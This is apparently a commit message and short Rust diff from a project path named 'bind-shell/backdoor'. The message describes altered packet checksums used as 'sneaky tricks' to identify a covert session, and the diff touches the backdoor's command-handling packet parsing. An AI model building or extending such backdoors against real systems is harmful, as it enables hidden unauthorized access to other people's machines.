feat: added modified TCP packet parser

checksum generation code is different, to allow for
some sneaky tricks with regards to identifying the sparse
session but binding to the same port multiple times

examples/bind-shell/backdoor/src/main.rs

@@ -139,7 +139,9 @@ async fn handle_command(
     use pcap_sys::packets::*;
     let eth_pkt = eth.pkt();
     let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
-    let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
+    let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
+        todo!()
+    };
 
     let source_port = udp_pkt.srcport();